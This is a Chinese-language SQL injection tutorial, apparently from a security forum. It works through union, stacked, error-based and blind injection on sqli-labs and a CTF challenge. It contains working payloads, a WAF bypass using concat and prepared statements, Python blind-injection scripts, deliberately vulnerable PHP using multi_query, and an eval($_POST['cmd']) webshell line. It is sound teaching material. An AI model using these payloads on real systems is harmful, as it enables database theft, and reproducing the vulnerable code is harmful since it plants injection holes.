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看雪论坛作者ID：[email protected]
web应用一改我们平时常见的 p2p 和 C/S 模式，采用 B/S 模式。随着网络技术的发展，特别随着Web技术的不断成熟，B/S 这种软件体系结构出现了。浏览器-服务器（Browser/Server）结构，简称 B/S 结构，与 C/S不同，其客户端不需要安装专门的软件，只需要浏览器即可，浏览器与Web服务器交互，Web服务器与后端数据库进行交互，可以方便地在不同平台下工作。比如我们玩的英雄联盟就是典型的 C/S 结构的服务，因为有大量图片资源和 3D 模型存储在本地，因此提前安装好客户端就可以方便地与服务器进行交互，如果采用 B/S 结构的话，在我们游戏开始的时候就要与服务器建立连接，下载好各种资源到本地，然后再与服务器进行交互，各种页游均是 B/S 结构。B/S 的优势就是对需要服务一方的电脑要求较低，很容易可以兼容系统上的差异，客户往往只需要安装浏览器便可以享受全部的 web 服务。web 应用会先向我们的浏览器发送前端语言 javascript 或者 html 给浏览器解析执行，我们经过一定的操作之后会向服务器发送请求，然后服务器根据我们的请求做出不同的答复，这个答复还是前端语言形成的网页。服务器会根据什么规则去响应请求，这个就要用到后端语言了，如 php,aspx 等都是常见的后端语言，现在以 php 为主。比如我们实现一个登录页面，那么这个登录肯定是会用到数据库查询操作的，我们将请求提交给服务器之后，后端语言得到我们发送的数据，然后后端语言就会相应地构造 sql 语句去执行数据库查询，并根据查询结果来响应我们那么我们很清晰了，我们负责发送数据，php 构造 sql 语句去查询。首先明白一点，sql 语句肯定我们能控制，因为我输入什么它就要去查什么。我们的输入一定会被嵌入 sql 语句。如果我们在 sql 中能输入任意内容，那我就相当于直接控制了整个数据库。sql 注入的就这么产生了，带来的本质危害也就是数据库信息泄露，如果数据库配置权限过高甚至能让攻击者拿到 shell。SQL(Structured Query Language，结构化查询语言)是一种特定目的程式语言，用于管理关系数据库管理系统（RDBMS），或在关系流数据管理系统（RDSMS）中进行流处理。
SQL基于关系代数和元组关系演算，包括一个数据定义语言和数据操纵语言。SQL的范围包括数据插入、查询、更新和删除，数据库模式创建和修改，以及数据访问控制。尽管SQL经常被描述为，而且很大程度上是一种声明式编程（4GL），但是其也含有过程式编程的元素。(from wiki)数据库基本信息函数
注意，这些函数都无参数且在使用时必须使用 select 关键字输出。
字符串处理函数
Mysql：保存账户信息，权限信息，存储过程，event，时区等信息。sys：包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。（元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等）performance_schema：用于收集数据库服务器性能参数。information_schema：它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表的数据类型与访问权限等。这里看似很复杂，实际上你只需要知道这个 performance_schema 数据库就可以了。对于一个未知的数据库，我们首先需要知道它的数据库名，数据表名，知道表名之后还得知道字段名，这样我们才能使用类似这样的 sql 语句 select 字段名 from 数据库.表名; 去泄露数据库的具体信息。我们 navicat 打开这个数据库观察一下有什么表。看着很多，其实我们只需要关心三个表：schemata，tables，columns，它们分别能爆出数据库名，表名和字段名。我们先看看第一个表 schemata 的具体信息：可以看到里面的schema_name 字段的值就是我们当前这个数据库系统中所有的数据库的名字，从左边也可以一一对应看到对应的数据库。然后看看第二个表 tables 的信息。因为有点多我们看主要的：可以看到里面有一个 table_name 字段就是整个数据库系统的所有表名，然后前面的 table_schema 就是这个表对应的数据库名。这里也可以看到我们这个数据库能从中找到 tables 和 schemata 这两个表名，以及其它乱七八糟的在上一张图也都有显示。在我们有一个 mysql 连接的情况下，我们想查看所有的数据库很简单，一句 show databases; 即可解决，但是通常情况下我们这样子输入并不能很好的回显，如果把数据库名作为一条记录输出出来那处理起来会好很多。select schema_name from information_schema.schemata;可以看到结果基本就是一样的。然后我们想查看比如说 world 数据库的表名，我们一般先 use world 再 show tables 或者一句话 show tables from world; 直接输出表名，但是有 information_schema 这个数据库，我们就能通过这里把信息显示出来。select table_name from information_schema.tables where table_schema='world';select column_name from information_schema.columns where table_name='city';以上的 payload 可以直接在注入的地方加进去，只需要改一下表名和数据库名即可。主要学习的环境还是用的 sqli-labs ，我是直接在主机上搭建，因为修改代码起来十分方便，一改就能见到效果。但是这么做确保切断了对外界的网络连接，或者心大一点就算了，想着没人会对自己的主机发起进攻的。然后自己再搭建一个 web 服务，能访问就算成功了。在使用之前在 sqli-labs\sql-connections\ 目录下的 db-creds.inc 中配置一下自己的用户名和密码，再点击 setup 把数据库先配置好，如果一切OK，那么进入第一关的效果应该是这样的：在对一个 ctf 打 sql 注入的时候，我们第一步就是要寻找注入点。怎么寻找注入点呢，因为后端源码我们都是不知道的，所以我们只能通过抓包的方式观察所有能提交的参数进行 sql 注入的测试。找到注入点之后我们还需要判断注入的类型。大体的注入分两类，一类是有回显的注入，另一类是没有回显的注入。一般情况下我们优先考虑有回显的注入，因为时间成本比较低，那么我们先来看看有回显的注入吧。有回显的注入
什么叫有回显？查询到的数据库信息会直接显示出来，你能看到的就叫有回显，反之则是没有回显。有回显的注入有以下类型：1、联合查询的注入：通过union关键字泄露数据库信息。
2、堆叠注入：通过重新执行一个 sql 语句的方式泄露数据库信息，或者直接增删改查数据库。
3、报错注入：通过一些特殊的函数报错把信息显示出来。
4、二次注入：咕咕咕。
联合查询的注入
假如你是 admin 登录之后，它页面可能会显示 hello,admin。那么这个 hello 后面就是一个回显的点，这里就可以用来泄露其它信息。这里需要怎么理解呢，假如它在登录的逻辑是这样写的：select username,passowrd from data.user where username='$input_username' and password='$input_password';然后我们判断你的账号密码是否正确就主要看它是否能查找到记录，如果找到，那么我选取这条记录的第一个记录的 username 字段，然后输出这个，就达到了它成功登录了什么账号，我输出那个账号的目的了。至于上面为什么说是第一条记录呢，这里你需要这么看：select 的返回结果可能有很多，而不管它返回了一条还是多条它都是一个数据集，是个二维的表。因此选择第一条记录是开发人员默认会加上的，此时我只需使得前面的语句查询失败（返回空数据集）并选取其它内容用 union 合并这个数据集，并把这里的其它内容替换成我想知道的内容，比如它的数据库名，表名，然后它这里就会原样输出这些信息了，我们就知道了。这里需要知道 union 是合并两个数据集的，因此两个数据集的宽度（字段数）必须一样，数据类型可以不一样，返回 php 处理之后都会变成字符串类型其实。这里我们不需要寻找测试点了，它这里已经贴心地提醒我们用 get 传一个 id 参数进去了，因此我们先试 1。可以看到我输入一个 1 它直接贴心的告诉了我们账号和密码是什么，这里显示的账号和密码就是回显的点。我们再测试这个参数是否能注入，最简单最直接的方法就是打个单引号或者双引号进去。可以发现数据库报错，那就说明这个参数是可以注入的。因此我们用刚刚提到的方法，先另前一个语句查询失败（空数据集），然后再 union 上一个数据集，这个数据集是我们任何我们想泄露的信息，首先我们假装对数据库一无所知，我们第一步就是要知道这里有多少数据库，分别什么名字。根据报错信息可以略微猜测一下它的写法 select username,password from xxx.yyy where id='$input_id' limit 0,1我们先用引号闭合前面的参数，然后后面加上一个 and 1=0 让前面的数据集必为空，然后再 union select 1,2--+ ，这里需要测试参数的个数，因为你不知道前面有几个字段，不过这里可以姑且先猜个 2，因为目前看来就找了账号和密码嘛，最后用 --+ 去注释后面的单引号。结果发现数据库报了这个错误：The used SELECT statements have a different number of columns，这个也不难看出来是因为 union 前后的数据集含有不同的列数，也就是字段数不一样，所以这里不是两个，那我们换成 3 个参数再看看，如果不行就接着换，知道不报这个错误为止。这里可以看到结果出来了，那么前面是有三列的，并且账号在第二列，密码在第三列，第一列大概率是这个 id 了。那么我们就朝着这几个回显的地方去改参数，比如我想知道数据库名，就用前面的方法。但是这里需要知道一点，那就是回显的地方这里只能存在一条记录，如果存在多条记录将报错。也就是说我可以把 2 替换成 select xxx from zzzx.yyy 但是必须保证结果集只能含有一条记录一个字段，否则会报错。一个字段没有问题，但是一条记录的话，你会想到 limit，可以，但是太慢了，如果数据记录很多一条一条打要累死人，这里我们用到之前讲过的聚合函数 group_concat，聚合函数会把所有记录整合成一条记录，并且我们还能一次输出多条记录的信息，那简直一举多得了。我们开始报数据库名吧 select schema_name from information_schema.schemata可以看到我们爆出了当前数据库名和所有数据库名，这里需要注意，我们在替换为语句的时候，语句一定要加上括号，不然它的 sql 会分析失败。然后我们爆一下 security 数据库的信息，先爆表名，其实只需要替换一下就可以了：select group_concat(table_name) from information_schema.tables where table_schema='security'我们主要收集一下用户信息吧，所以看看 users 数据表的内容，我们先获取字段名，一样一样地往上套就完事了：select group_concat(column_name) from information_schema.columns where table_name='users'然后我们这里我们就看到了所有的字段名，我们这里点到为止，把所有用户名和密码爆出来就结束吧。select group_concat(username) from security.users 和 select group_concat(password) from security.users总结
我们可以看到联合查询注入十分方便，几步到位可以把数据库全部泄露出来，但是利用条件一般比较苛刻，需要有回显点才能实现。堆叠注入
堆叠注入的原理就是使用引号隔开前一个查询语句，再自己书写另外的 sql 语句以此达到任意执行 sql 语句的目的。由于结果很难回显，我们一般这个用的不多，因为我们主要还是获取信息为主，而不是要去修改它的数据库。这个演示我们用 buuctf 里面的一道题吧，是来自2019强网杯的一道题目。先不管它怎么说，有提交窗口先正常提交看看它原本的业务逻辑。看这个输出格式，应该也是从数据库里按照一个应该是 id 字段查询，查询结果为两个字段，然后用 var_dump 输出第一条记录的信息，然后按照国际惯例加个分号看它是否报错。我们当然还是先试试联合查询注入，用 1' union select 1,2--+，然后我们看到它回显了。return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
它过滤了很多关键字导致我们没办法直接使用联合查询注入，并且正则后面的 /i 表示大小写全匹配，那看来它是不想让你用联合查询注入，我们不妨先试试堆叠注入。我们可以先去 mysql 连接里面自己试试堆叠注入，比如我先实现一个逻辑，这个逻辑仅仅是查询每个数据库的表，那么数据库参数可控，我们就是这么写 sql 语句的：select table_name from information_schema.tables where table_schema='$input_database';。可以看到随便输入一个数据库可以实现功能，那么我们让 $input_database=1';show databases;--，经过拼接之后形成了：select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我们在参数中输入了其它的 sql 语句。那我们看看结果如何呢？不出意外地执行了我们输入的 show databases 指令。所以你也就清楚了堆叠注入是怎么一回事，我们试试看，一般题目里面堆叠注入都没有很好的回显，但是这题它有，至于为什么能有我们等会可以分析一下它题目的源码。再通过 show tables 我们可以发现有两张表 1919810931114514 和 words。然后我们下一步可以用 show columns from table_name 的方式去显示表中所有的字段名。先看看 words 表，发现有 id 和 data 字段，这里大胆点猜测，我们应该是根据 id 去查询 data。它的 sql 语句大概是 select data from supersqli.words where id='$input_id'。这里一个烫芝士注意一下啊，就是当数据库名或表名或列名可能引起歧义的时候，需要使用反引号将其包裹。比如你 select 1,2,3 我并不知道你想找的是 1,2,3 三个数值还是这 1,2,3 是列名。那么为了消除这个歧义我们在这个时候使用反引号。上述写法就是表示 1,2,3 代表列名，反引号在键盘上数字 1 的左边。这里因为是全数字，所以我们用反引号才能显示出它所有的列，我们可以看到只有一个 flag 列。那 flag 应该是在里面，我们需要查询出它，这里就可以用到堆叠注入的另一种姿势：预编译。set @sql='show databases';prepare ext from @sql;execute ext;
可以发现它成功执行了 show databases，你可能会觉得一举两得了，但是这对于我们绕过 WAF 还是很有帮助的，它不让出现 select 这个单词的任意大小写形式，我们就用前面的字符串拼接函数 concat 就可以不出现 select 单词但是能执行 select 语句。可以看到，我们利用 concat 函数和预编译的方式在全语句没有出现过 select 的情况下使用了 select 语句才能干的事。因为在 php 里面，执行语句的时候才会产生一个进程去执行 sql 语句，语句结束进程也就结束，如果我先 set @sql='xxx' 那么再次查询不会保存这个变量的结果，这里就需要把多条语句整合成一条，这也是堆叠注入特有的一个优势吧。1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;
strstr($inject, "set") && strstr($inject, "prepare")
这个很好绕过，因为这个函数它判断大小写的，我们对这两个关键字随便一个字符大写即可绕过，我们最后的 payload 就是：1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;
堆叠注入还有一个很厉害的姿势就是修改数据库，但是请注意不要删库，因为这样的话你可能就拿不到 flag。如果拿完 flag 再把 flag 删了，如果环境你专用你随便玩，公用的话就容易被别人喷了，万一环境不能重置，那你不是直接没了。第二种方式是把装 flag 的表改成本来的逻辑查询的表，也就是 words 表。我们把那个表的名字改成 words，然后它可能是根据 id 查询的，我们就把 flag 列改成 id 也许它是根据 words 查询的，我们到时候改一下就好了。rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
如果成功的话我们只需要一个万能密码即可查出所有原 flag 表的所有记录。1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
执行之后我们使用 1' or 1=1--+ 得到 flag。堆叠注入为什么可以实现，下面就到了我们的源码环节了，没有官方的源码，只是从网上寻找到了差不多类似的，复现出来也基本一致。<html> <head> <meta charset="UTF-8"> <title>easy_sql</title></head> <body><h1>取材于某次真实环境渗透，只说一句话：开发和安全缺一不可</h1><!-- sqlmap是没有灵魂的 --><form method="get"> 姿势: <input type="text" name="inject" value="1"> <input type="submit"></form> <pre><?phpfunction waf1($inject) { preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');}function waf2($inject) { strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');}if(isset($_GET['inject'])) { $id = $_GET['inject']; waf1($id); waf2($id); $mysqli = new mysqli("127.0.0.1","root","root","supersqli"); //多条sql语句 $sql = "select * from `words` where id = '$id';"; $res = $mysqli->multi_query($sql); if ($res){//使用multi_query()执行一条或多条sql语句 do{ if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果 while ($row = $rs->fetch_row()){ var_dump($row); echo "<br>"; } $rs->Close(); //关闭结果集 if ($mysqli->more_results()){ //判断是否还有更多结果集 echo "<hr>"; } } }while($mysqli->next_result()); //next_result()方法获取下一结果集，返回bool值 } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close(); //关闭数据库连接}?></pre> </body> </html>
中间的源码环节可以看到它在执行 sql 语句的时候使用了 multi_query 函数，并且会输出所有的结果集。所以这题可以用堆叠注入的原因就在这里，我们可以很轻易地获得多条语句的回显，而在一般情况下是不能的，所以这题就是专门让你用堆叠注入的。总结
我们也来小总结一下堆叠注入：优点当然就是我们可以很轻易地执行多条 sql 语句，但是要求要回显所有的结果集，否则很多信息都是暴不出来的。如果你在普通的题目上使用堆叠注入，那么前面那个 select 就算是空集那它也不会返回第二个结果集的内容，所以这也成为了堆叠注入的局限性。报错注入
利用一些函数的特性，通过它们的报错把信息泄露出来，当然前提是你可以看到它报错。我们前面介绍的有关 xml 的函数都是报错注入常用的函数，我们先来看第一个 updatexml 。至于报错注入是什么呢？我来打个比方，有以下程序：<?phpinclude "flag.php";eval($_POST['cmd']);?>
已知包含的文件是一个 $flag 变量，标准输出流关闭的情况下如何知道 flag 的值？这么说吧，我们平时的一切正常输出都是标准输出流打印出来的。只有报错信息是标准错误流打印的，如果这里强制让我利用错误流输出，那么可以直接选择 rm($flag)。当它执行的时候这个函数就会报错 xxx not found，这个会通过错误流打印，而这里的 xxx 就是 $flag 变量的值。所以我们会让关键信息执行，然后通过报错使得打印这个关键的信息，因为我们不可能就是让它打印出 $flag not found，这里的 $flag 必须被解析执行成它里面的内容才是对我们有用的。在有些情况下，它标准输出流并不能给我们带来什么回显的地方，比如常见的盲注，它标准输出流只会打印 You are in 或者 You are not in。这里如果它显示报错信息，我们同样可以使用报错注入去泄露信息。我们看看第一个函数：updatexml(xml,find,replacement)就是一个 xml 替换的函数，这里中间的 find 参数必须使用 Xpath 格式，否则会报错并使用标准错误流打印第二个参数。select updatexml(1,concat(0x7e,user(),0x7e),1);
可以看到虽然提示错误，但是还是成功打印了我们想要的内容，能报错注入的函数有很多，报错注入也不过多演示了。总结
报错注入利用条件和联合查询注入差不多，报错注入需要能看到报错信息，报错信息是一个回显的点，有之后就跟联合查询注入差不多了，把 updatexml 函数第二个参数替换成自己想知道的东西。二次注入
盲注
无回显的注入又称为盲注。如果无回显或者回显的内容和数据库的内容没有直接关系，那么这个时候我们只能采用盲注的手段。盲注根据利用手法的不同又分为以下两种：1、布尔盲注：如果网站根据有无查找成功，给你返回的有且仅有两个结果。我们的做法一般是，让前面 where 的条件恒为假，再 or 一个自己要判断的语句。或者让前面恒为真，再 and 一个我们要判断的结果，这样的话判断的就是我们想知道的结果了。2、时间盲注：使用一个判断语句，再 and 或 or 一个 sleep 函数，根据是否休眠判断条件是否为真。盲注的特点就是，我一次打过去我最多知道 1bit 的数据，所以盲注手打是非常耗时的，下面我将演示手打和写脚本打。虽然在某些时候 sqlmap 有奇效，但是你得想过，出题人不可能会出一道 sqlmap 能直接跑出答案的题目，所以真材实料还得自己学会。布尔盲注
可以看到它这里只回显了 You are in，就好比，你登陆成功了，上面不显示你的用户名，只是告诉了你登录成功，否则提示你账号或者密码错误。虽然报错有提示，但是我们不用，主要使用盲注来解决。首先我们想知道有什么数据库，我们就象征性打一个数据库 security 下来吧，通过盲注的方式把这个数据库名获取到。id=1' and length(database())<5--+
小于5发现没有回显，我们换成 <8，发现还是没有，再换成 <9 发现有。我们就知道了数据库名长度为 8 了。接下来我们使用 left 函数截取字符串前缀，然后判断，我们一位一位开始判断。最后发现 left(database(),1)='s' 返回正确结果。于是我们知道了数据库第一个字是 s。然后我们后面再一直这样判断，便能很快知道数据库名了。这里为了提升自己，建议自己用 python 写一个脚本来进行盲注。from requests import *length=100minlength=1while minlength<length: mid=(length+minlength)//2 sql='and length(database())<'+str(mid)+'--+' url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) p=get(url) if 'You are in...........' in p.text: length=mid-1 else: minlength=midprint(length)
然后写一下跑数据库名称的脚本。这里需要解释一下为什么我们在截取字符的时候为什么要加 ord，因为 mysql 是不区分大小写的，所以直接字符串比较就可能出现 mid(database(),1,1)<'T' 为 true 但是 mid(database(),1,1)<'s' 为 false，这显然不符合二分答案的期望，会导致程序死掉。from requests import *length=100minlength=1while minlength<length: mid=(length+minlength+1)//2 sql='and length(database())<'+str(mid)+'--+' url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) p=get(url) if 'You are in...........' in p.text: length=mid-1 else: minlength=mid print(length)now_str=''for i in range(length): l=0 r=255 while l<r: mid=(l+r+1)//2 guess_str=now_str+chr(mid) #print(mid,l,r) sql="and ord(mid(database(),{0},1))<{1}--+".format(i+1,mid) url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) p=get(url) if 'You are in...........' in p.text: r=mid-1 else: l=mid now_str+=chr(l) print(now_str)
但是我们仍然想知道所有数据库的名称怎么办呢？那就改一下，继续跑，就是会慢一点，这里我们用一个变量统计一下看看它一共请求了多少次。from requests import *length=100minlength=1cnt=0while minlength<length: mid=(length+minlength+1)//2 sql='and (select length(group_concat(schema_name))<'+str(mid)+' from information_schema.schemata)--+' url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) p=get(url) cnt+=1 if 'You are in...........' in p.text: length=mid-1 else: minlength=mid print(length)now_str=''for i in range(length): l=0 r=255 while l<r: mid=(l+r+1)//2 guess_str=now_str+chr(mid) #print(mid,l,r) sql="and (select ord(mid(group_concat(schema_name),{0},1))<{1} from information_schema.schemata);--+".format(i+1,mid) url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) p=get(url) cnt+=1 if 'You are in...........' in p.text: r=mid-1 else: l=mid now_str+=chr(l) print(now_str)print(cnt)
可以看到注出这些数据库一共请求了 758 次，而且二分算是效率比较高的了，也许你会说我写的也有问题，范围应该限定在 33-127，但是对于二分来说，范围缩小一半也只是少请求一次而已，整个信息长度 94，我们理论上也就会少请求了 94 次。在经过实际测量之后，发现也是要请求 632 次的，所以盲注是不可能去手打的，一定要学会自己写脚本跑，自己会写能应对任何情况，而你如果一味的依靠 sqlmap 最终会发现吃亏的还是自己。布尔盲注一般应用在页面无有关数据库内容的回显，报错也无提示，并且只有两种回显的结果的时候用的。比较万金油，但是会导致请求量很大，实际应用的时候如果限制请求次数那么会很难。基于时间的盲注
这个可以说是最后的法宝了，因为它使用所有的带有注入的页面。如果你的查询请求甚至不会有一点点的回显，比如说登录的时候都不告诉你登录成功或者账号密码失败，这个时候我们就只能使用基于时间的盲注了。烫芝士：所有语言的特性—逻辑运算与和或都有这么个特性，两个表达式 and，如果第一个表达式为 0 那么不会运算第二个表达式，两个表达式 or，如果第一个表达式为 1 那么不会计算第二个表达式，两个表达式可以扩展到 n 个表达式。1' and 表达式 and sleep(5)--+
这里可以看到表达式为 1 那么会执行 sleep，如果为 0，那么不会执行。我这里写了两个 payload，一个是 1' and length(database())<5 and sleep(5)--+ 一个是 1' and length(database())<9 and sleep(5)--+，打开控制台的网络选项，我们可以看到：前者在 10ms 的时间内就返回了，而后者在 5.02S 才返回。可以看到后面的表达式为真就会休眠 5S，根据返回的时间差来判断表达式是否正确。from requests import *import timelength=100minlength=1ss=time.time()cnt=0while minlength<length: mid=(length+minlength+1)//2 sql='and (select length(group_concat(schema_name))<'+str(mid)+' from information_schema.schemata) and sleep(1)--+' url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) start=time.time() p=get(url) #print(time.time()-start) #quit() cnt+=1 if time.time()-start>1: length=mid-1 else: minlength=mid print(length)now_str=''for i in range(length): l=32 r=127 while l<r: mid=(l+r+1)//2 guess_str=now_str+chr(mid) #print(mid,l,r) sql="and (select ord(mid(group_concat(schema_name),{0},1))<{1} from information_schema.schemata) and sleep(1);--+".format(i+1,mid) url="http://127.0.0.1/sqli-labs/Less-5/?id=1' "+sql print(url) start=time.time() p=get(url) cnt+=1 if time.time()-start>1: r=mid-1 else: l=mid now_str+=chr(l) print(now_str)print(cnt)print('cost:'+str(time.time()-ss))
跟布尔盲注差不多，就是在后面加上个 sleep(1) 就行了，我们也不用回显的结果去判断了，直接用经过的时间是否超过 1S 就好了。这里我们不仅统计了请求次数，我们还统计了花费时间。可以看到请求次数跟上面是一样的(小声：我偷偷改了ASCII的范围)。并且注出这94个字符我们花费了将近 4min，可以看到这个时间成本也是非常高的。总结
基于时间的盲注基本适用于所有含有注入漏洞的页面，但是时间成本是最高的。![]()
